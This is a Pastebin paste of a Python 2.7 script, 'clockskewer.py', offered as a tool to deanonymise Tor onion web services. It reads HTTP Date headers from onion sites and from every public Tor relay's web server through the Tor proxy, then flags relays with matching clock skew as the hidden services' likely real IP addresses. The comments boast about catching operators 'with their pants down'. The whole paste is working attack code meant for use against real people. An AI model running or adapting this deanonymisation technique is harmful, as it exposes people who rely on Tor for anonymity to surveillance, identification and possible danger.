Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python2.7
- #
- # clockskewer.py -- skewers http servers in onionland to an ip address
- #
- # This script takes advantage of the fact that no one
- # in onionland configures their http server correctly
- # by having it send datetime stamps in every response
- #
- # calculates the clockskew and then finds a corrilating
- # tor relay with an open http server with the same skew
- #
- # catches people with their pants down, sadly lots of
- # onionlanders have no pants and don't realize it :3
- #
- # WTFPL 2012 Jeff Becker
- #
- # @ampernand <--- follow my ass on twitter if you care
- #
- import socks
- from pytorctl import TorCtl as ctl
- from datetime import datetime
- import logging,socket
- localhost='127.0.0.1'
- # uncomment for using special ssh tunnel located at dash
- # localhost='dash'
- socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5,localhost,port=9050)
- logging.basicConfig(format='>> %(message)s',level=logging.INFO)
- reg_socket = socket.socket
- debug = logging.debug
- info = logging.info
- warn = logging.warning
- error = logging.error
- def torcontrol():
- """
- open control session
- """
- s = reg_socket()
- s.connect((localhost,9051))
- c = ctl.Connection(s)
- c.authenticate()
- return c
- def get_relays():
- """
- Get all relays that your tor relay knows of
- """
- info('Get List Of Relays')
- c = torcontrol()
- if c is None:
- error('Could not connect to tor control port')
- return None
- ret = []
- re = c.get_network_status(get_iterator=True)
- c.close()
- if re is None:
- error('Failed to get relay list')
- return none
- for r in re:
- ret.append(r.ip)
- info('Got %d relays'%len(ret))
- return ret
- now = datetime.utcnow
- def skew(dstamp,timeformat='%a, %d %b %Y %H:%M:%S GMT'):
- """
- most common type of timestamp i've seen on onionland is
- %a, %d %b %Y %H:%M:%S GMT
- default to use that
- """
- return now() - datetime.strptime(dstamp,timeformat)
- def http(host,ua='Onionland Clockskewer 0.1'):
- """
- do an http request and get the "Date" header and the "Server" header
- returns
- skew_in_ms, server_header
- or in the event of an error or both headers not found:
- None, None
- """
- debug('REQUEST http://%s/'%host)
- try:
- dstamp = None
- server = None
- s = socks.socksocket()
- debug('CONNECT')
- s.connect((host,80))
- debug('REQUEST')
- s.send('GET / HTTP/1.1\r\n')
- s.send('Host: %s\r\n'%host)
- s.send('User-Agent: %s\r\n'%ua)
- s.send('\r\n')
- resp = ''
- count = 0
- r = 0
- # begin masive hack
- while True:
- r += 1
- if r > 9000:
- break
- c = s.recv(1)
- if c is None or c == '':
- debug('break')
- break
- resp += c
- if resp.count('\r\n') > 0:
- count += 1
- if resp == '\r\n':
- break
- line = resp.strip()
- if count == 1:
- if line.count('HTTP') == 0:
- raise Exception()
- resp = ''
- continue
- if len(line) == 0:
- break
- i = line.index(':')
- k = line[:i].strip()
- v = line[i+1:].strip()
- if k == 'Date':
- dstamp = v
- elif k == 'Server':
- server = v
- resp = ''
- #end massive hack
- s.close()
- return skew(dstamp), server
- except Exception as e:
- return None, None
- def check(onion,ip,delta):
- """
- check to see if an onion is similar to a clearnet machine
- 1) request onion
- 2) request clearnet
- 3) compute difference of skews
- 4) if the difference of the skews is <= delta we have a potential candidate
- """
- t1,s1 = http(onion)
- if t1 is None:
- return False
- t2,s2 = http(ip)
- if t2 is None:
- return False
- try:
- d = t1 - t2
- d = abs( d.microseconds ) + abs (d.seconds ) * 1000
- return d <= delta
- except:
- warn('Failed to check %s vs %s'%(onion,ip))
- return False
- def clockskewer(onions):
- possible = []
- relays = get_relays()
- if relays is None:
- return
- for onion in onions:
- info('Locating %s'%onion)
- res = 0
- # iterate through all the tor relays in the public list
- # this can take days if not weeks for each iteration
- for ip in relays:
- if check(onion,ip,7000):
- info('!!!!')
- info('POSSIBLE MATCH: %s -> %s'%(onion,ip))
- possible.append((onion,ip))
- res += 1
- info('Possible Matches for %s : %d'% (onion,res))
- info('Found %d results'%len(possible))
- for p in possible:
- info('%s -> %s'%p)
- if __name__ == '__main__':
- import sys
- clockskewer(sys.argv[1:])
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement